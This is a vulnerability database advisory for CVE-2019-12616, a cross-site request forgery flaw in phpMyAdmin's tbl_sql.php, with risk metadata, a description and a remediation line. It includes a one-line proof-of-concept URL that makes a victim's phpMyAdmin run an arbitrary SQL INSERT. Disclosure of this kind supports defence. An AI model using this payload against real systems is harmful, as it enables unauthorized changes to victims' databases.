ID:5923 - Exploit for Cross-site request forgery in phpMyAdmin - CVE-2019-12616

 
Main Vulnerability Database Exploits ID:5923 - Exploit for Cross-site request forgery in phpMyAdmin - CVE-2019-12616

ID:5923 - Exploit for Cross-site request forgery in phpMyAdmin - CVE-2019-12616

Published: June 17, 2021


Vulnerability identifier: #VU18679
Vulnerability risk: Medium
CVE-ID: CVE-2019-12616
CWE-ID: CWE-352
Exploitation vector: Remote access
Vulnerable software:
phpMyAdmin

Link to public exploit:


Vulnerability description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in "tbl_sql.php" script. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as execute arbitrary INSERT or DELETE statements.

PoC:

http://[host]/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark

Remediation

Install update from vendor's website.